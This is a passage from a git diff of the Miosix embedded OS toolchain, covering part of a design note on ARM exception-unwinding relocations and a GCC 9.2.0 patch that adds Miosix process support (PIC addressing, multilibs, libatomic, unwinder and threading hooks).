("(BASE_ABS)", asm_out_file); ++ } else { ++ //Produce the default R_ARM_TARGET2 static relocation that is supposed ++ //to be platform specific but is actually pc-relative + fputs ("(TARGET2)", asm_out_file); ++ } ++ } + fputc ('\n', asm_out_file); + + return TRUE; +``` + +And here we find more trouble: the gnu assember does not support the relocation we want being input from assembly files... + +Ok, backtracking again, we'll have to make TARGET2 relocations work for our platform. GNU ld has an option, `--target2=` that allows to override how it handles target2 relocations. Great! +By grepping the sources (couldn't find what strings are accepted as type) it looks like the options are `abs`, `rel`, `got-rel`. The default behavior we're seeing is `rel`. `got-rel` seems promising on paper, but it produces garbage for unknown reasons. `abs` is best actually, as it produces the absolute address of the symbol, like 0x10000178. Of course, by just subtracting DATA_BASE, we get the data-relative offset we want. Maybe we could patch the unwinder to subtract DATA_BASE, but it looks like there's a problem. + +Miosix does not load binaries compiled with `--target2=abs`, and the reason is simple, other than producing the absolute value, the linker produces a dynamic relocation to fix it up at runtime, as we're in PIE/PIC mode, and for the first time that's NOT what we want, as relocations in a readonly sections can't be made. However, by temporarily commenting out that check in the kernel, adding a check to skip this wrong relocation and patching the binary by hand by removing 0x10000000 to that address, the process works and throws correctly with the readonly unwinding tables. + +Now, we just need a non-kludge way to do this. + +For this, there's no escape to patching binutils too. The patch first adds the `--target2=mx-data-rel` option and maps it to a brand new static relocation type, `R_ARM_MIOSIXPROC_TGT2`, that is basically the same as `R_ARM_ABS32` (the one behind `--target2=abs`) except it does not leave dynamic relocations behind and subtracts DATA_BASE), making a true data-rel static relocation encoding the offset of the symbol from the data base address. + +And that, finally, worked. + + + + +## Caveat fot future patchers + +If you do an `arm-miosix-eaby-objdump -Dslx main.bin` (of course before it's stripped and mx-postlinked), the start of the disassembly is something like + +``` +Program Header: + LOAD off 0x00000098 vaddr 0x00000098 paddr 0x00000098 align 2**3 + filesz 0x00004fcc memsz 0x00004fcc flags r-x + LOAD off 0x00005068 vaddr 0x40000000 paddr 0x40000000 align 2**3 + filesz 0x00000640 memsz 0x00000840 flags rw- + DYNAMIC off 0x000050f8 vaddr 0x40000090 paddr 0x40000090 align 2**2 + filesz 0x00000048 memsz 0x00000048 flags rw- + +Dynamic Section: + DEBUG 0x00000000 + REL 0x00004564 + RELSZ 0x00000b00 + RELENT 0x00000008 + FLAGS_1 0x08000000 + RELCOUNT 0x00000001 +private flags = 5000200: [Version5 EABI] [soft-float ABI] +``` + +which is more useful than it looks, as it allows to see if the binary is good looking. Sometimes innocuous-looking changes in the linker script such as renaming an output section trigger special behavior in the linker with strange side effects, such as adding useless entries to dynamic (such as if you call an output section `.init_array`), adding useless nested segments (such as calling an output section `.ARM.exidx`), or making the text segment writable, which then Miosix will of course fail to load as it violates `W^X`. So do check those when making changes! + + + + + +## Addendum + +How to recompile GCC only (not the stdlibs) for quick experiments + +``` +INSTALL_DIR=`pwd`/gcc/arm-miosix-eabi +LIB_DIR=`pwd`/lib +PATH=$INSTALL_DIR/bin:$PATH +cd objdir +make all-gcc +make install-gcc +``` diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/gcc.patch b/tools/compiler/gcc-9.2.0-mp3.4/patches/gcc.patch new file mode 100644 index 000000000..5acd32342 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/gcc.patch @@ -0,0 +1,1748 @@ +diff -ruN gcc-9.2.0-old/config/gthr.m4 gcc-9.2.0/config/gthr.m4 +--- gcc-9.2.0-old/config/gthr.m4 2012-10-15 15:10:30.000000000 +0200 ++++ gcc-9.2.0/config/gthr.m4 2025-01-24 23:55:01.443117028 +0100 +@@ -14,6 +14,7 @@ + aix) thread_header=config/rs6000/gthr-aix.h ;; + dce) thread_header=config/pa/gthr-dce.h ;; + lynx) thread_header=config/gthr-lynx.h ;; ++ miosix) thread_header=config/gthr-miosix.h ;; + mipssde) thread_header=config/mips/gthr-mipssde.h ;; + posix) thread_header=gthr-posix.h ;; + rtems) thread_header=config/gthr-rtems.h ;; +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.c gcc-9.2.0/gcc/config/arm/arm.c +--- gcc-9.2.0-old/gcc/config/arm/arm.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.c 2025-01-24 23:55:01.447117016 +0100 +@@ -70,10 +70,20 @@ + #include "gimplify.h" + #include "gimple.h" + #include "selftest.h" ++#include "print-tree.h" ++#include + + /* This file should be included last. */ + #include "target-def.h" + ++/* ++ * https://gcc.gnu.org/legacy-ml/gcc/2017-05/msg00073.html ++ * Disable this warning at the compiler level, as Miosix skipped from GCC 4.7.3 ++ * to GCC 9.2.0, so there's no affected code around. ++ */ ++#undef warn_psabi /* in case it's already a macro */ ++#define warn_psabi 0 ++ + /* Forward definitions of types. */ + typedef struct minipool_node Mnode; + typedef struct minipool_fixup Mfix; +@@ -2758,8 +2768,30 @@ + } + } + +- if (TARGET_AAPCS_BASED) +- synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ //Rationale: ++ //Compiling code that instantiates C++ static objects on architectures that do ++ //not have memory fence/barrier instructions (e.g: ARM7TDMI) causes undefined ++ //reference to `__sync_synchronize'. ++ //expand_mem_thread_fence() in gcc/optabs.c:6489 tries to emit ASM insn ++ //and failing that, emits the __sync_synchronize call if available. ++ //Synchronize_libfunc is used only in optabs.c and defined only for ARM/MIPS ++ //$ grep -R 'synchronize_libfunc' gcc-9.2.0 ++ //libfuncs.h:79:#define synchronize_libfunc (libfunc_table[LTI_synchronize]) ++ //config/arm/arm.c:2776: synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ //config/mips/mips.c:13535: synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); ++ //optabs.c:6500: else if (synchronize_libfunc != NULL_RTX) ++ //optabs.c:6501: emit_library_call (synchronize_libfunc, LCT_NORMAL, VOIDmode); ++ //$ grep -Rn 'LTI_synchronize' gcc-9.2.0 ++ //libfuncs.h:29: LTI_synchronize, ++ //libfuncs.h:79:#define synchronize_libfunc (libfunc_table[LTI_synchronize]) ++ //The ARM implementation is in libgcc and only exists for linux and bsd. ++ // ++ //Solution: remove given ARM7TDMI don't need hardware memory barriers at all. ++ // ++ //When updating patches to new compiler, check that cortex-M targets have ++ //dmb instructions, while ARM7TDMI code has no calls to __sync_synchronize. ++ //if (TARGET_AAPCS_BASED) ++ // synchronize_libfunc = init_one_libfunc ("__sync_synchronize"); + + speculation_barrier_libfunc = init_one_libfunc ("__speculation_barrier"); + } +@@ -7501,6 +7533,157 @@ + } + } + ++//TODO: #ifdef _MIOSIX does not work in this context ++ ++//Taken from varasm.c, it is static unfortunately, hence the copy-paste ++static int ++contains_pointers_p (const_tree type) ++{ ++ switch (TREE_CODE (type)) ++ { ++ case POINTER_TYPE: ++ case REFERENCE_TYPE: ++ /* I'm not sure whether OFFSET_TYPE needs this treatment, ++ so I'll play safe and return 1. */ ++ case OFFSET_TYPE: ++ return 1; ++ ++ case RECORD_TYPE: ++ case UNION_TYPE: ++ case QUAL_UNION_TYPE: ++ { ++ tree fields; ++ /* For a type that has fields, see if the fields have pointers. */ ++ for (fields = TYPE_FIELDS (type); fields; fields = DECL_CHAIN (fields)) ++ if (TREE_CODE (fields) == FIELD_DECL ++ && contains_pointers_p (TREE_TYPE (fields))) ++ return 1; ++ return 0; ++ } ++ ++ case ARRAY_TYPE: ++ /* An array type contains pointers if its element type does. */ ++ return contains_pointers_p (TREE_TYPE (type)); ++ ++ default: ++ return 0; ++ } ++} ++ ++/* ++ * Miosix processes do not live in a virtual address space. ++ * Their code and constants (.text and .rodata) live in FLASH at an address ++ * that is not known until runtime, so PC-relative addressing must be used. ++ * Their variables (.data and .bss) live in RAM, and the offset between ++ * .text and RAM is not constant, so the GOT must be used with single-pic-base. ++ * This function takes a memory reference and returns true if PC-relative ++ * addressing must be used, or false if the GOT must be used. ++ */ ++static bool miosix_processes_ref_demux(rtx orig) ++{ ++ // This logic has been kept from the original code in legitimize_pic_address ++ if(GET_CODE(orig) == LABEL_REF) return true; ++ ++ // From here on we handle the SYMBOL_REF case ++ //TODO: we don't do anything for DECL_WEAK ++ ++ // Dump data structures for debugging purpose ++ // print-rtl.c and print-tree.c are very useful for knowing how they work ++ //debug_rtx(orig); ++ //if(SYMBOL_REF_DECL(orig)) debug_tree(SYMBOL_REF_DECL(orig)); ++ ++ bool result = false; ++ const_tree decl = SYMBOL_REF_DECL(orig); ++ if(decl) ++ { ++ if(TREE_CODE(decl) == FUNCTION_DECL) ++ { ++ /* ++ * Taking function address, testcase (compile with -O2) ++ * void f(); ++ * typedef void (*fp)(); ++ * fp get() { return &f; } ++ */ ++ result = true; ++ //printf("constant (FUNCTION_DECL)\n\n"); ++ } else if(TREE_CODE(decl) == VAR_DECL) { ++ const_tree type = TREE_TYPE(decl); ++ assert(type != NULL && "Miosix: SYMBOL_REF of unknown constness (type==0)"); ++ if(contains_pointers_p(type)) ++ { ++ /* ++ * A true constant pointer can't exist in Miosix processes. ++ * If it's a constant, the pointer would need to be ++ * initialized at the definition site, and since it may ++ * point to a variable in RAM, a runtime relocation is ++ * needed to initialize it, and because of that it can't ++ * stay in .rodata among the true constants. ++ * Const pointers without relocations may exist, say for ++ * instance int *const p=0; and those *could* stay in .rodata ++ * but that creates another problem: how do we know from ++ * the declaration only (extern int *const p;) whether the ++ * pointer is in .rodata or not? We can't and thus we don't ++ * know whether to use pc-relative or GOT addressing, so ++ * we treat *all* const pointers as non const. ++ */ ++ //printf("variable (contains pointers)\n\n"); ++ } else if(decl_readonly_section(decl,0)) { ++ /* ++ * Non-extern consts in non optimized code, testcase (compile with -O0) ++ * const char str[]="Hello world\n"; ++ * const char *get() { return str; } ++ */ ++ result = true; ++ //printf("constant (decl_readonly_section)\n\n"); ++ // remaining if are because decl_readonly_section misses some ++ // const cases ++ } else if(TYPE_READONLY(type)) { ++ /* ++ * Extern const, testcase (compile with -O2) ++ * extern const int aRodata; ++ * int get() { return aRodata; } ++ */ ++ result = true; ++ //printf("constant (TYPE_READONLY)\n\n"); ++ } else { ++ /* ++ * Variables, testcase (compile with -O2) ++ * extern int aData; ++ * int get() { return aData; } ++ */ ++ //printf("variable (decl!=0)\n\n"); ++ } ++ } else assert(0 && "Miosix: SYMBOL_REF of unknown constness (TREE_CODE?)"); ++ } else { ++ //we fall here when optimizations are enabled and sometimes decl==NULL ++ ++ //NOTE: SYMBOL_REF_BLOCK() is valid only if SYMBOL_REF_HAS_BLOCK_INFO_P() ++ if(!SYMBOL_REF_HAS_BLOCK_INFO_P(orig) || SYMBOL_REF_BLOCK(orig) == NULL) ++ assert(0 && "Miosix: SYMBOL_REF of unknown constness (decl==0)"); ++ ++ //TODO: output.h defines a few default sections as global variables ++ //do we need to handle more than readonly_data_section? ++ if(SYMBOL_REF_BLOCK(orig)->sect == readonly_data_section) ++ { ++ /* ++ * Non-folded constants when optimizing, testcase (compile with -O2) ++ * const int aRodata2=42; ++ * const int *get() { return &aRodata2; } ++ */ ++ result = true; ++ //printf("constant (sect==readonly)\n\n"); ++ } else { ++ /* Defined (not just declared) vars when optimizing, testcase (compile with -O2) ++ * int aData=1; ++ * int get() { return aData; } ++ */ ++ //printf("variable (decl==0)\n\n"); ++ } ++ } ++ ++ return result; ++} ++ + /* Legitimize PIC load to ORIG into REG. If REG is NULL, a new pseudo is + created to hold the result of the load. If not NULL, PIC_REG indicates + which register to use as PIC register, otherwise it is decided by register +@@ -7526,6 +7709,8 @@ + reg = gen_reg_rtx (Pmode); + } + ++ bool miosix_ref_demux = miosix_processes_ref_demux(orig); ++ + /* VxWorks does not impose a fixed gap between segments; the run-time + gap can be different from the object-file gap. We therefore can't + use GOTOFF unless we are absolutely sure that the symbol is in the +@@ -7535,13 +7720,7 @@ + /* References to weak symbols cannot be resolved locally: they + may be overridden by a non-weak definition at link time. */ + rtx_insn *insn; +- if ((GET_CODE (orig) == LABEL_REF +- || (GET_CODE (orig) == SYMBOL_REF +- && SYMBOL_REF_LOCAL_P (orig) +- && (SYMBOL_REF_DECL (orig) +- ? !DECL_WEAK (SYMBOL_REF_DECL (orig)) : 1))) +- && NEED_GOT_RELOC +- && arm_pic_data_is_text_relative) ++ if (miosix_ref_demux && NEED_GOT_RELOC && arm_pic_data_is_text_relative) + insn = arm_pic_static_addr (orig, reg); + else + { +@@ -23064,14 +23243,24 @@ + /* References to weak symbols cannot be resolved locally: + they may be overridden by a non-weak definition at link + time. */ +- if (!arm_pic_data_is_text_relative +- || (GET_CODE (x) == SYMBOL_REF +- && (!SYMBOL_REF_LOCAL_P (x) +- || (SYMBOL_REF_DECL (x) +- ? DECL_WEAK (SYMBOL_REF_DECL (x)) : 0)))) ++ ++ /* ++ * NOTE: On Miosix processes GOTOFF can't work, as we don't know at ++ * time the offset between .text and .got/.data/whatever is in RAM ++ * so always use GOT. ++ * Without this patch a process with something as simple as ++ * int *ptr = { 0 }; ++ * int *get() { return ptr; } ++ * uses GOTOFF and produces segfaults upon calling get() ++ */ ++// if (!arm_pic_data_is_text_relative ++// || (GET_CODE (x) == SYMBOL_REF ++// && (!SYMBOL_REF_LOCAL_P (x) ++// || (SYMBOL_REF_DECL (x) ++// ? DECL_WEAK (SYMBOL_REF_DECL (x)) : 0)))) + fputs ("(GOT)", asm_out_file); +- else +- fputs ("(GOTOFF)", asm_out_file); ++// else ++// fputs ("(GOTOFF)", asm_out_file); + } + fputc ('\n', asm_out_file); + return true; +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.h gcc-9.2.0/gcc/config/arm/arm.h +--- gcc-9.2.0-old/gcc/config/arm/arm.h 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.h 2025-01-24 23:55:01.451117005 +0100 +@@ -878,7 +878,12 @@ + #define EH_RETURN_STACKADJ_RTX gen_rtx_REG (SImode, ARM_EH_STACKADJ_REGNUM) + + #ifndef ARM_TARGET2_DWARF_FORMAT +-#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel ++//TODO: #ifdef _MIOSIX does not work in this context ++//Produce exception unwinding tables that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//we want pcrel as usual for the Miosix kernel, and datarel for processes (pic) ++#define ARM_TARGET2_DWARF_FORMAT (flag_pic ? DW_EH_PE_datarel : DW_EH_PE_pcrel) ++//#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel + #endif + + /* ttype entries (the only interesting data references used) +diff -ruN gcc-9.2.0-old/gcc/config/arm/miosix-eabi.h gcc-9.2.0/gcc/config/arm/miosix-eabi.h +--- gcc-9.2.0-old/gcc/config/arm/miosix-eabi.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-9.2.0/gcc/config/arm/miosix-eabi.h 2025-04-15 12:00:12.425281284 +0200 +@@ -0,0 +1,19 @@ ++ ++/* ++ * RATIONALE: adding builtin_define to always define _MIOSIX ++ * - when libgcc/libstdc++/newlib are compiled, as there are some #ifdef _MIOSIX ++ * - when Miosix processes are compiled, to allow #ifdef _MIOSIX ++ * Also add versioning to miosix-specific compiler patches. ++ * Note: intentionally breaking compatibility with previous compiler patches ++ * which defined _MIOSIX_GCC_PATCH_VERSION instead of _MIOSIX_GCC_PATCH_MAJOR ++ */ ++ ++#undef TARGET_OS_CPP_BUILTINS ++#define TARGET_OS_CPP_BUILTINS() \ ++ do { \ ++ TARGET_BPABI_CPP_BUILTINS(); \ ++ builtin_define("_MIOSIX"); \ ++ builtin_define("_MIOSIX_GCC_PATCH_MAJOR=3"); \ ++ builtin_define("_MIOSIX_GCC_PATCH_MINOR=4"); \ ++ builtin_assert("system=miosix"); \ ++ } while(false) +diff -ruN gcc-9.2.0-old/gcc/config/arm/t-arm-miosix gcc-9.2.0/gcc/config/arm/t-arm-miosix +--- gcc-9.2.0-old/gcc/config/arm/t-arm-miosix 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-9.2.0/gcc/config/arm/t-arm-miosix 2025-01-25 13:12:42.846516611 +0100 +@@ -0,0 +1,101 @@ ++ ++## RATIONALE: build multilibs for all microcontroller-relevant ARM architectures ++## with and without `-fpie -msingle-pic-base' (for processes). ++## If processes were not required, we could have simply set the option ++## --with-multilib-list=rmprofile, which builds multilibs for exactly the ++## architectures we are interested in. ++ ++## To update this file, have a look in t-multilib and t-rmprofile and bring over ++## new architectures/variants. Note that we are not building softfp ABI and ++## the directory structure is different than what is setup by t-rmprofile ++## (`-mfloat-abi=soft' is in the root directory, while rmprofile puts it in ++## the `soft' directory). ++## ++## Documentation for the variables set in this file are in ++## https://gcc.gnu.org/onlinedocs/gccint/Target-Fragment.html ++ ++MULTILIB_OPTIONS = ++MULTILIB_DIRNAMES = ++MULTILIB_MATCHES = ++MULTILIB_EXCEPTIONS = ++MULTILIB_REQUIRED = ++MULTILIB_REUSE = ++ ++# explicit default is -marm ++MULTILIB_OPTIONS += marm/mthumb ++MULTILIB_DIRNAMES += arm thumb ++ ++# implicit default is set to armv4t (because explicit defualt -mcpu=arm7tdmi) ++MULTILIB_OPTIONS += march=armv4t/march=armv6s-m/march=armv7-m/march=armv7e-m/march=armv7e-m+fp/march=armv7e-m+fp.dp/march=armv8-m.base/march=armv8-m.main/march=armv8-m.main+fp/march=armv8-m.main+fp.dp ++MULTILIB_DIRNAMES += v4t v6-m v7-m v7e-m v7e-m+fp v7e-m+dp v8-m.base v8-m.main v8-m.main+fp v8-m.main+dp ++ ++# implicit default is -mfloat-abi=soft due to the fallback value of the TARGET_DEFAULT_FLOAT_ABI define ++MULTILIB_OPTIONS += mfloat-abi=soft/mfloat-abi=hard ++MULTILIB_DIRNAMES += nofp hard ++ ++MULTILIB_OPTIONS += fpie msingle-pic-base ++MULTILIB_DIRNAMES += pie single-pic-base ++ ++## Multilibs to build: ++ ++# Armv4 (ARM7TDMI, no FP) ++MULTILIB_REQUIRED += marm/march=armv4t/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv4t/mfloat-abi=soft ++ ++# Armv6 (Cortex-M0, M0+, M1, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv6s-m/mfloat-abi=soft/fpie/msingle-pic-base ++ ++# Armv7-M (Cortex-M3, M4, M7, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv7-m/mfloat-abi=soft/fpie/msingle-pic-base ++ ++# Armv7e-M (Cortex-M4, M7 with FP single and double precision) ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp/mfloat-abi=hard/fpie/msingle-pic-base ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv7e-m+fp.dp/mfloat-abi=hard/fpie/msingle-pic-base ++ ++# Armv8-m baseline (Cortex-M23, no FP) ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft ++MULTILIB_REQUIRED += mthumb/march=armv8-m.base/mfloat-abi=soft/fpie/msingle-pic-base ++ ++# Armv8-m mainline (Cortex-M33, M35P with FP single and double precision) ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp/mfloat-abi=hard/fpie/msingle-pic-base ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard ++MULTILIB_REQUIRED += mthumb/march=armv8-m.main+fp.dp/mfloat-abi=hard/fpie/msingle-pic-base ++ ++## Aliases ++ ++# Once upon a time, Armv6 had a variant Armv6s with support for the SVC ++# instruction, but it was an undocumented variant which then got merged in the ++# base Armv6 standard. This rule always aliases armv6 to armv6s as they are ++# equivalent for all intents and purposes ++MULTILIB_MATCHES += march?armv6s-m=march?armv6-m ++ ++# Map v7e no FPU to v7 ++MULTILIB_MATCHES += march?armv7-m=march?armv7e-m ++ ++# Map v8.main no FPU to v8.base ++MULTILIB_MATCHES += march?armv8-m.base=march?armv8-m.main ++ ++# Map all v8-m.main+dsp FP variants down the the variant without DSP. ++MULTILIB_MATCHES += march?armv8-m.main=march?armv8-m.main+dsp ++MULTILIB_MATCHES += $(foreach FP, +fp +fp.dp, march?armv8-m.main$(FP)=march?armv8-m.main+dsp$(FP)) ++ ++# For single-precision only fpv5, use the base fp libraries ++MULTILIB_MATCHES += march?armv7e-m+fp=march?armv7e-m+fpv5 ++ ++# For architectures with no FPU, map unspecified -mfloat-abi to soft ++# Note: the t-rmprofile fragment does not do this, even though it is required, ++# because the main makefile (config.gcc) special-cases this by setting ++# with_float="soft" which results in all invocations to have the default ++# option "--with-float=soft" ++MULTILIB_REUSE += mthumb/march.armv4t/mfloat-abi.soft=mthumb/march.armv4t ++MULTILIB_REUSE += marm/march.armv4t/mfloat-abi.soft=marm/march.armv4t ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft=mthumb/march.$(ARCH)) ++MULTILIB_REUSE += $(foreach ARCH, armv6s-m armv7-m armv8-m\.base, \ ++ mthumb/march.$(ARCH)/mfloat-abi.soft/fpie/msingle-pic-base=mthumb/march.$(ARCH)/fpie/msingle-pic-base) ++ +diff -ruN gcc-9.2.0-old/gcc/config/miosix.opt gcc-9.2.0/gcc/config/miosix.opt +--- gcc-9.2.0-old/gcc/config/miosix.opt 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-9.2.0/gcc/config/miosix.opt 2025-01-24 23:56:29.334969234 +0100 +@@ -0,0 +1,8 @@ ++; Specify handling of compiler options for Miosix. ++ ++; The -pthread option does nothing on Mioisx, as threads are always enabled, but ++; we support it as many build scripts hardcode it, including libgomp and cmake ++pthread ++Ignore ++ ++; This comment is to ensure we retain the blank line above. +diff -ruN gcc-9.2.0-old/gcc/config.gcc gcc-9.2.0/gcc/config.gcc +--- gcc-9.2.0-old/gcc/config.gcc 2019-08-03 22:16:22.000000000 +0200 ++++ gcc-9.2.0/gcc/config.gcc 2025-01-24 23:56:29.334969234 +0100 +@@ -1218,6 +1218,14 @@ + tmake_file="${tmake_file} arm/t-arm arm/t-arm-elf" + target_cpu_cname="arm7tdmi" + case ${target} in ++ arm*-miosix-eabi*) ++ # Copy options from arm*-*-eabi*, add the miosix-specific ones ++ # and make sure arm/t-arm-elf is not added to tmake_file ++ tm_file="${tm_file} newlib-stdint.h arm/miosix-eabi.h" # Append ++ tmake_file="arm/t-arm arm/t-arm-miosix arm/t-bpabi" # Replace ++ extra_options="${extra_options} miosix.opt" # Append ++ use_gcc_stdint=wrap ++ ;; + arm*-*-eabi*) + tm_file="$tm_file newlib-stdint.h" + tmake_file="${tmake_file} arm/t-bpabi" +diff -ruN gcc-9.2.0-old/gcc/configure gcc-9.2.0/gcc/configure +--- gcc-9.2.0-old/gcc/configure 2019-06-26 11:15:46.000000000 +0200 ++++ gcc-9.2.0/gcc/configure 2025-01-24 23:55:01.451117005 +0100 +@@ -11860,7 +11860,7 @@ + # default + target_thread_file='single' + ;; +- aix | dce | lynx | mipssde | posix | rtems | \ ++ aix | dce | lynx | miosix | mipssde | posix | rtems | \ + single | tpf | vxworks | win32) + target_thread_file=${enable_threads} + ;; +diff -ruN gcc-9.2.0-old/gcc/configure.ac gcc-9.2.0/gcc/configure.ac +--- gcc-9.2.0-old/gcc/configure.ac 2019-06-26 11:15:46.000000000 +0200 ++++ gcc-9.2.0/gcc/configure.ac 2025-01-24 23:55:01.455116994 +0100 +@@ -1646,7 +1646,7 @@ + # default + target_thread_file='single' + ;; +- aix | dce | lynx | mipssde | posix | rtems | \ ++ aix | dce | lynx | miosix | mipssde | posix | rtems | \ + single | tpf | vxworks | win32) + target_thread_file=${enable_threads} + ;; +diff -ruN gcc-9.2.0-old/gcc/except.c gcc-9.2.0/gcc/except.c +--- gcc-9.2.0-old/gcc/except.c 2019-03-11 14:58:44.000000000 +0100 ++++ gcc-9.2.0/gcc/except.c 2025-01-24 23:55:01.455116994 +0100 +@@ -3022,6 +3022,11 @@ + else + { + tt_format = ASM_PREFERRED_EH_DATA_FORMAT (/*code=*/0, /*global=*/1); ++ // This is here for debugging the change to ARM_TARGET2_DWARF_FORMAT ++ // in Miosix processes: when compiling C++ code that throws and catches ++ // exceptions, it should print 0x10 (DW_EH_PE_pcrel) when compiling the ++ // kernel (non-pic) and 0x30 (DW_EH_PE_datarel) when compiling processes ++ //printf("\n\n-- called 0x%x --\n\n",tt_format); + if (HAVE_AS_LEB128) + ASM_GENERATE_INTERNAL_LABEL (ttype_label, + section ? "LLSDATTC" : "LLSDATT", +diff -ruN gcc-9.2.0-old/libatomic/config/miosix/host-config.h gcc-9.2.0/libatomic/config/miosix/host-config.h +--- gcc-9.2.0-old/libatomic/config/miosix/host-config.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-9.2.0/libatomic/config/miosix/host-config.h 2025-01-24 23:55:01.687116349 +0100 +@@ -0,0 +1,23 @@ ++ ++/* ++ * According to libatomic_i.h, here we should implement ++ * - UWORD protect_start(void *ptr); ++ * - void protect_end(void *ptr, UWORD token); ++ * which are used by fop_n.c fop_n.c cas_n.c exch_n.c tas_n.c store_n.c for ++ * 'small' operations. ++ */ ++ ++unsigned int libat_quick_lock_n(void *ptr); ++void libat_quick_unlock_n(void *ptr, unsigned int token); ++ ++static inline UWORD protect_start(void *ptr) ++{ ++ return libat_quick_lock_n(ptr); ++} ++ ++static inline void protect_end(void *ptr, UWORD token) ++{ ++ libat_quick_unlock_n(ptr, token); ++} ++ ++#include_next +diff -ruN gcc-9.2.0-old/libatomic/config/miosix/lock.c gcc-9.2.0/libatomic/config/miosix/lock.c +--- gcc-9.2.0-old/libatomic/config/miosix/lock.c 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-9.2.0/libatomic/config/miosix/lock.c 2025-01-24 23:55:01.687116349 +0100 +@@ -0,0 +1,13 @@ ++ ++/* ++ * According to libatomic_i.h, here we should implement ++ * - void libat_lock_n(void *ptr, size_t n); ++ * - void libat_unlock_n(void *ptr, size_t n); ++ * which are used by gexch.c gcas.c gload.c gstore.c for 'large' operations. ++ * ++ * Except, we don't. These function may be directly implemented in Miosix should ++ * the need arise, or intentionally left as undefined references if large ++ * locking intrinsics are to be disallowed. ++ */ ++ ++#include "libatomic_i.h" +diff -ruN gcc-9.2.0-old/libatomic/configure.tgt gcc-9.2.0/libatomic/configure.tgt +--- gcc-9.2.0-old/libatomic/configure.tgt 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libatomic/configure.tgt 2025-01-24 23:55:01.687116349 +0100 +@@ -154,6 +154,10 @@ + esac + ;; + ++ arm*-miosix-eabi*) ++ config_path="miosix" ++ ;; ++ + *-*-rtems*) + XCFLAGS="${configure_tgt_pre_target_cpu_XCFLAGS}" + config_path="rtems" +diff -ruN gcc-9.2.0-old/libgcc/config/arm/pr-support.c gcc-9.2.0/libgcc/config/arm/pr-support.c +--- gcc-9.2.0-old/libgcc/config/arm/pr-support.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/libgcc/config/arm/pr-support.c 2025-01-24 23:55:01.687116349 +0100 +@@ -376,7 +376,14 @@ + _Unwind_Ptr + _Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) + { +- abort (); ++//TODO: #ifdef _MIOSIX does not work in this context ++//Support exception unwinding that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//NOTE: this code gets linked (even though it never gets used) also in the kernel, ++//so the symbol name we coose here must also exist in the kernel linker scripts ++ extern char _data asm("_data"); //defined in the linker script ++ return &_data; ++// abort (); + } + + _Unwind_Ptr +diff -ruN gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h gcc-9.2.0/libgcc/config/arm/unwind-arm.h +--- gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgcc/config/arm/unwind-arm.h 2025-01-24 23:55:01.687116349 +0100 +@@ -57,6 +57,12 @@ + #elif defined(__symbian__) || defined(__uClinux__) + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_absptr) + /* Absolute pointer. Nothing more to do. */ ++#elif defined(_MIOSIX) ++ //DO NOT DEFINE _GLIBCXX_OVERRIDE_TTYPE_ENCODING, we don't want that kludge ++ //as the encoding could be either pc-relative (kernel) or data-relative (processes) ++ //see processes-patch.md ++ //This relies on base_of_encoded_value() setting base to 0 for DW_EH_PE_pcrel ++ tmp += base ? base : ptr; + #else + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_pcrel) + /* Pc-relative pointer. */ +diff -ruN gcc-9.2.0-old/libgcc/config/gthr-miosix.h gcc-9.2.0/libgcc/config/gthr-miosix.h +--- gcc-9.2.0-old/libgcc/config/gthr-miosix.h 1970-01-01 01:00:00.000000000 +0100 ++++ gcc-9.2.0/libgcc/config/gthr-miosix.h 2025-01-24 23:55:01.687116349 +0100 +@@ -0,0 +1,94 @@ ++ ++// RATIONALE: make the code generated by GCC thread safe by providing a thread model ++ ++#ifndef GCC_GHTR_MIOSIX_H ++#define GCC_GHTR_MIOSIX_H ++ ++#include ++#include ++#include ++#include ++ ++//Note to self: gthr.h contains useful information ++//on how a gthr-xxx.h should look like ++ ++#define __GTHREADS 1 ++#define __GTHREAD_HAS_COND 1 ++#define __GTHREADS_CXX0X 1 ++//Found in libstdc++ ++#define _GTHREAD_USE_MUTEX_TIMEDLOCK 1 ++ ++//In Miosix, threads are always enabled, period. 